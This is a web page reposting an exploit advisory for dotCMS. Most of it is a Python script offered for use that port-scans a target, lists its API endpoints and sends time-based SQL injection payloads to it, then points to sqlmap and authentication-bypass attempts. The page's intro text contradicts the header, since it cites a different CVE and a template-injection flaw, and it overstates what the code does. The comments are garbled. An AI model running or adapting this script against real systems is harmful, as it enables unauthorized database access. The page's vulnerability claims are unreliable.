Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

The "dotCMS 25.07.02-1 Security Scanner" refers to automated tools used The "dotCMS 25.07.02-1 Security Scanner" refers to automated tools used to detect vulnerabilities within this specific Content Management System version.

Primarily, it's associated with identifying CVE-2024-2337, a critical Server-Side Template Injection (SSTI) flaw. Security scanners (like commercial solutions or OWASP ZAP) probe dotCMS instances for patterns indicative of this vulnerability.

This flaw allows unauthenticated remote code execution, posing a severe risk. Upon detection, the scanner flags this high-severity issue, alerting administrators. It underscores the necessity of regular security assessments and prompt patching to safeguard dotCMS deployments.

=============================================================================================================================================
| # Title : dotCMS 25.07.02-1 Security Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.dotcms.com/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/211125/ & CVE-2025-8311

[+] Summary : This python script represents a sophisticated dual-method SQL Injection exploit targeting DotCMS content management systems.


[+] Usage : * : Save as: poc.py
Run : python poc.py

[+] POC :

#!/usr/bin/env python3
"""
dotCMS SQL Injection Scanner
"""

import sys
import time
import socket
import requests
import argparse
from urllib.parse import urlparse

requests.packages.urllib3.disable_warnings()

class SimpleDotCMSScanner:
def __init__(self, target):
self.target = target
self.session = requests.Session()
self.session.verify = False
self.session.timeout = 10

# ????? ???????? ??????? ??dotCMS
self.common_ports = [8443, 8080, 80, 443, 8081, 8082, 8888]

# ????? ??subdomains ??????
self.common_subdomains = [
"demo", "test", "dev", "staging",
"admin", "portal", "cms", "dotcms"
]

# ????? ??paths ?????
self.common_paths = [
"/", "/dotAdmin/", "/html/", "/c/",
"/api/v1/", "/api/", "/application/",
"/admin/", "/login", "/signin"
]

def test_port(self, host, port):
"""?????? ??? ??? ?????? ???????"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
result = sock.connect_ex((host, port))
sock.close()
return result == 0
except:
return False

def discover_dotcms(self):
"""?????? ????? dotCMS"""
print("\n? Discovering dotCMS configuration...")

# ????? ?????
target = self.target.lower().strip()

results = {
"host": "",
"port": None,
"protocol": "https",
"base_url": "",
"accessible": False
}

# ????? ?????
if "://" in target:
parsed = urlparse(target)
host = parsed.netloc
if ":" in host:
host, port = host.split(":", 1)
port = int(port)
else:
port = None
else:
host = target
port = None

# ????? www ??? ??? ???????
if host.startswith("www."):
host = host[4:]

results["host"] = host

# ????? ??????
if port:
results["port"] = port
else:
# ?????? ??????? ???????
for port in self.common_ports:
if self.test_port(host, port):
print(f" ? Port {port} is open")
results["port"] = port
break

if not results["port"]:
print(" ? No open ports found")
return results

# ?????? ????????????
protocols = ["https", "http"]
for protocol in protocols:
base_url = f"{protocol}://{host}:{results['port']}"

# ?????? ???????
for path in self.common_paths[:3]: # ??? 3 ??? ??????
url = base_url + path
try:
response = self.session.get(url, timeout=5)
if response.status_code < 500:
print(f" ? {protocol.upper()} accessible at {url}")
results["protocol"] = protocol
results["base_url"] = base_url
results["accessible"] = True

# ?????? ?? ???? dotCMS
if "dotcms" in response.text.lower():
print(f" ? dotCMS detected!")
elif "dotadmin" in response.text.lower():
print(f" ? dotAdmin detected!")

return results
except Exception as e:
continue

return results

def find_public_apis(self, base_url):
"""????? ?? ?????? API ????"""
print("\n? Searching for public APIs...")

api_endpoints = [
"/api/v1/system/status",
"/api/v1/version",
"/api/v1/sites",
"/api/v1/content",
"/api/v1/nav",
"/api/v1/menu",
"/api/v1/widgets",
"/api/v1/containers",
"/api/v1/templates"
]

found_apis = []

for endpoint in api_endpoints:
url = base_url + endpoint
try:
response = self.session.get(url, timeout=5)

if response.status_code == 200:
print(f" ? Public API: {endpoint}")
found_apis.append({
"url": url,
"status": response.status_code,
"content_type": response.headers.get('Content-Type', ''),
"size": len(response.content)
})
elif response.status_code in [401, 403]:
print(f" ! Protected API: {endpoint} (Auth required)")
elif response.status_code == 404:
pass # ?? ???? ???404
else:
print(f" ? API: {endpoint} (Status: {response.status_code})")

except Exception as e:
pass

return found_apis

def quick_sqli_test(self, api_url):
"""?????? ???? ??SQL Injection"""
print(f"\n? Quick SQLi test on: {api_url}")

# ?????? ???? ??Time-based SQLi
test_params = ["filter", "orderby", "sort", "id", "type"]

for param in test_params:
test_url = f"{api_url}?{param}=test"

# ?????? Time-based
payloads = [
"' AND SLEEP(3)--",
"' OR (SELECT 1 FROM (SELECT SLEEP(3))a)--",
"') AND SLEEP(3)--"
]

for payload in payloads:
full_url = test_url + payload
try:
start = time.time()
response = self.session.get(full_url, timeout=10)
elapsed = time.time() - start

if elapsed >= 3:
print(f" ? POSSIBLE TIME-BASED SQLi in parameter: {param}")
print(f" Payload: {payload}")
print(f" Response time: {elapsed:.2f}s")
return True

except requests.exceptions.Timeout:
print(f" ? TIMEOUT - Possible SQLi in parameter: {param}")
return True
except:
pass

print(" ? No obvious SQLi detected")
return False

def scan(self):
"""????? ???????"""
print("\n" + "="*60)
print("dotCMS Security Scanner")
print("="*60)

# ?????? 1: ????????
config = self.discover_dotcms()

if not config["accessible"]:
print("\n? Cannot access the target")
print("\n? Try these alternatives:")
print(" 1. python scanner.py localhost:8443")
print(" 2. python scanner.py 127.0.0.1:8080")
print(" 3. python scanner.py your-domain.com")
return

print(f"\n? Target found:")
print(f" Host: {config['host']}")
print(f" Port: {config['port']}")
print(f" Protocol: {config['protocol']}")
print(f" Base URL: {config['base_url']}")

# ?????? 2: ????? ?? APIs
apis = self.find_public_apis(config["base_url"])

if not apis:
print("\n?? No public APIs found")
print("\n? Try these common endpoints:")
for path in self.common_paths:
print(f" {config['base_url']}{path}")
return

# ?????? 3: ?????? SQLi ??? ?? API
sql_vulnerabilities = []
for api in apis:
if self.quick_sqli_test(api["url"]):
sql_vulnerabilities.append(api["url"])

# ??? ???????
print("\n" + "="*60)
print("SCAN RESULTS")
print("="*60)

print(f"\n? Summary:")
print(f" Total APIs found: {len(apis)}")
print(f" Possible SQLi vulnerabilities: {len(sql_vulnerabilities)}")

if sql_vulnerabilities:
print(f"\n? Vulnerable endpoints:")
for vuln in sql_vulnerabilities:
print(f" ? {vuln}")

print(f"\n? Next steps:")
print(f" 1. Test manually with sqlmap: sqlmap -u \"{sql_vulnerabilities[0]}\"")
print(f" 2. Use the full exploit script with authentication token")
print(f" 3. Check for authentication bypass methods")
else:
print(f"\n? No SQL injection vulnerabilities found in public APIs")
print(f"\n? Try authenticated endpoints if you have credentials")

def main():
parser = argparse.ArgumentParser(description="Simple dotCMS Security Scanner")
parser.add_argument("target", help="Target (e.g., demo.dotcms.com, localhost:8443)")

args = parser.parse_args()

print(r"""
??????? ?????????? ??????? ??? ?????????????? ?????? ??? ??????
???????? ??????????????????????? ?????????????? ?????? ????????????
????????? ????? ?????? ?????? ?????????????????????????? ????????
???????????????????????? ?????? ?????????????????????????? ????????
?????? ??????????????????????????????????????????? ?????? ?????? ???
?????? ???????????? ??????? ??????? ??????????? ?????? ?????? ???
dotCMS Security Scanner
""")

scanner = SimpleDotCMSScanner(args.target)
scanner.scan()

if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n\n[!] Scan interrupted by user")
sys.exit(0)
except Exception as e:
print(f"\n[!] Error: {e}")
sys.exit(1)
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

Social Media Share